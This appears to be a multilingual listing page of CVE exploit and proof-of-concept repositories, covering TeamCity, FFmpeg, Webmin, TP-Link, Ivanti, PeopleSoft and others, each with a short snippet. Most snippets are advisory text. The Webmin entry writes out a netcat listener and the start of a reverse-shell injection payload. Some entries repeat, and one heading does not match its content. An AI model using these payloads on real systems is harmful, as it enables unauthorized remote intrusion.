Incident-Response-Report-TeamCity-Compromise-CVE-2024-27198-

事件响应报告：TeamCity 被入侵 CVE-2024-27198 分析者： Belal Abdelsalam 日期： 2026年7月 实验室/环境： CyberDefenders JetBrains 📄 行政摘要 本文档记录了对一台受入侵的 JetBrains TeamCity 服务器（版本 2023.11.3）的取证分析。通过分析提供的网络数据包捕获文件（.pcap），调查确认外部威胁行为者利用路径遍历漏洞（CVE-2024-27198）绕过了身份验证机制。攻击者随后上传了一个包含 Java 服务器页面（JSP）Webshell...

CVE-2026-8461

🎬 CVE-2026-8461 — PixelSmash FFmpeg MagicYUV 解码器中的严重越界写入漏洞 恶意视频文件可以成为武器。 PixelSmash 是一个影响 FFmpeg MagicYUV 解码器的严重内存损坏漏洞，攻击者可利用它触发越界写入 ，导致应用程序崩溃，甚至可能实现远程代码执行 。 📖 概述 CVE-2026-8461 是在 FFmpeg 的libavcodec MagicYUV 解码器中发现的一个高危 漏洞。 该漏洞是由于帧解码过程中边界验证不当造成的，允许特制的媒体文件写入分配内存之外的位置。 自动处理上传或下载视频的应用程序可能无需用户交互即受影响。...

cve-2025-50946

cve-2025-50946 Script de explotación para CVE-2025-50946 OliveTin get-theme RCE. Los requisitos de caracteres son exigentes y muchos comandos que incluyen múltiples argumentos pueden no ejecutarse correctamente. No he dedicado tiempo a investigar la causa raíz ni a hacer el script más robusto...

CVE-2025-56815

CVE-2025-56815 Datart 1.0.0-rc.3 es vulnerable a Directory Traversal en la interfaz POST /viz/image, ya que el servidor utiliza directamente MultipartFile.transferTo para guardar el archivo subido en una ruta controlable por el usuario y carece de una verificación estricta del nombre de archivo...

CVE-2026-84154

A Code Injection vulnerability affecting GEOVIA Geospatial Data Manager from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2026x could allow an attacker to execute arbitrary code on the server...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE 执行指南 关于通过 /file/show.cgi 组件在 Webmin 1.580 上执行经过身份验证的远程代码执行 RCE 的快速参考。 1. 攻击机（监听器） 在本地机器上运行此命令以在执行负载之前捕获传入的连接： rlwrap nc -lnvp 4444 2. 目标利用载荷 将以下 URL 直接粘贴到浏览器的地址栏中（确保您已先登录 Webmin 仪表盘）： http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh...

CVE-2026-11417-AWS-CDK-RCE

AWS CDK 的 NodejsFunction 中供应链命令注入漏洞 CVE-2026-11417 作者: Hesham Ashraf @HeshamASH 日期: 2026年6月10日 严重性: 高危 CVSSv3.1: 7.3, CVSSv4: 7.0 CWE: CWE-78 — 操作系统命令中特殊元素未正确中和（OS命令注入） 受影响包: aws-cdk-lib npm，所有 2.245.0 之前的版本 供应商: Amazon Web Services AWS 状态: 已修复 PR 37292, PR 37412 | CVE: CVE-2026-11417 | 公告:...

CVE-2026-11834

CVE-2026-11834 PoC TP-Link DHCP Option 66 未认证远程代码执行（CVE-2026-11834） 概述 TP-Link 路由器固件在处理 DHCP Option 66（“TFTP 服务器名”）时存在命令注入漏洞（CWE-78），同一网段内的未认证攻击者可利用该漏洞以 root 权限执行任意命令。当设备在 WAN 接口上充当 DHCP 客户端时，租约中返回的 Option 66 值未经净化即被拼接进 libcmm.so 中的 tftp shell 命令。共有五个函数构造该命令并将其传递给 utilexecSystem，后者调用 system，因此精心构...

lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce

CVE-2026-8836 — PoC de desbordamiento de pila en lwIP SNMPv3 Exploit de prueba de concepto para CVE-2026-8836, un desbordamiento de búfer crítico basado en pila en el manejador USM SNMPv3 de lwIP. Vulnerabilidad CVE : CVE-2026-8836 CVSS : 9.8 Crítico Componente : snmpparseinboundframe en...

CVE-2023-26039

CVE-2023-26039 Descripción ZoneMinder es una aplicación de software de televisión de circuito cerrado gratuita y de código abierto para Linux que admite cámaras IP, USB y analógicas. Las versiones anteriores a 1.36.33 y 1.37.33 contienen una inyección de comandos del sistema operativo a través de...

CVE-2025-9961

CVE-2025-9961 TP-Link AX10/AX1500 CWMP Desbordamiento de búfer RCE Descripción general Desbordamiento de búfer basado en pila en CWMP TR-069 que conduce a la ejecución remota de código. Campo| Valor ---|--- Producto| TP-Link AX10, AX1500 Afectados| AX10 B"Malicious ACS" B -- C"SetParameterValues"...

CVE-2021-4034-pwnkit

CVE-2021-4034, PwnKit Prueba de concepto para PwnKit, una escalada de privilegios local en pkexec de polkit. En una instalación predeterminada, cualquier usuario local sin privilegios puede convertirse en root. Acerca del error Las versiones vulnerables de pkexec manejan incorrectamente el recuen...

CVE-2026-55255-Lab

CVE-2026-55255 - Langflow 中的 /api/v1/responses IDOR 漏洞 执行摘要 此存储库包含一个本地 Docker 实验室，用于重现和验证 CVE-2026-55255，这是一个影响 Langflow 的 OpenAI 兼容 Responses API 的不安全直接对象引用 IDOR 漏洞。 Langflow 是一个用于构建和部署人工智能驱动的代理和工作流的开源平台。该漏洞行为影响 /api/v1/responses 端点，在该端点上，经过身份验证的攻击者可以提供另一个用户的流 UUID 作为 model 值，从而导致 Langflow...

CVE-2026-101169

Affected versions of Octopus Server are vulnerable to insecure deserialization of specifically crafted JSON content. An authenticated user with permissions to edit an Environment or Project can exploit this flaw to execute arbitrary code within the Octopus Server process. No specific patch versio...

EUVD-2026-88654

In affected versions of Octopus Server, an authenticated user with permissions to edit an Environment or Project can set specifically crafted JSON content for the object. Insecure deserialization of this content allows the user to execute arbitrary code in the Octopus Server process...

CVE-2026-101169

In affected versions of Octopus Server, an authenticated user with permissions to edit an Environment or Project can set specifically crafted JSON content for the object. Insecure deserialization of this content allows the user to execute arbitrary code in the Octopus Server process...

CVE-2026-101169

In affected versions of Octopus Server, an authenticated user with permissions to edit an Environment or Project can set specifically crafted JSON content for the object. Insecure deserialization of this content allows the user to execute arbitrary code in the Octopus Server process...

CVE-2026-10520

🎯 CVE-2026-10520 与 CVE-2026-10523 - Ivanti Sentry 无需认证的远程代码执行 + 身份验证绕过 作者： Ashraf Zaryouh "0xBlackash" 📌 概述 影响 Ivanti Sentry （原 MobileIron Sentry）的两个严重漏洞： CVE-2026-10520 → CVSS 10.0 - 无需认证的操作系统命令注入（以 root 权限执行 RCE） CVE-2026-10523 → CVSS 9.9 - 身份验证绕过 这些漏洞允许未认证的攻击者完全攻陷系统。 ✨ 功能特性 ✅ 简洁快速的 PoC ✅...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit 这是一个利用CVE-2017-11882的Metasploit模块，使用以下POC： https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. 安装 1. 将 cve201711882.rb 复制到 /usr/share/metasploit-framework/modules/exploits/windows/local/ 2. 将 cve-2017-11882.rtf 复制到...

CVE-2026-35273

CVE-2026-35273 此安全警报涉及 Oracle PeopleSoft PeopleTools 中的漏洞 CVE-2026-35273。Oracle PeopleSoft Enterprise Applications 客户也可能受到此漏洞的影响。该漏洞可在无需身份验证的情况下远程利用。如果成功利用，此漏洞可能导致远程代码执行 ⚡ 简单使用 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 授权的渗透测试环境 示例设置： git clone cd 项目使用 python，请参考以下步骤 创建虚拟环境 python -m venv venv...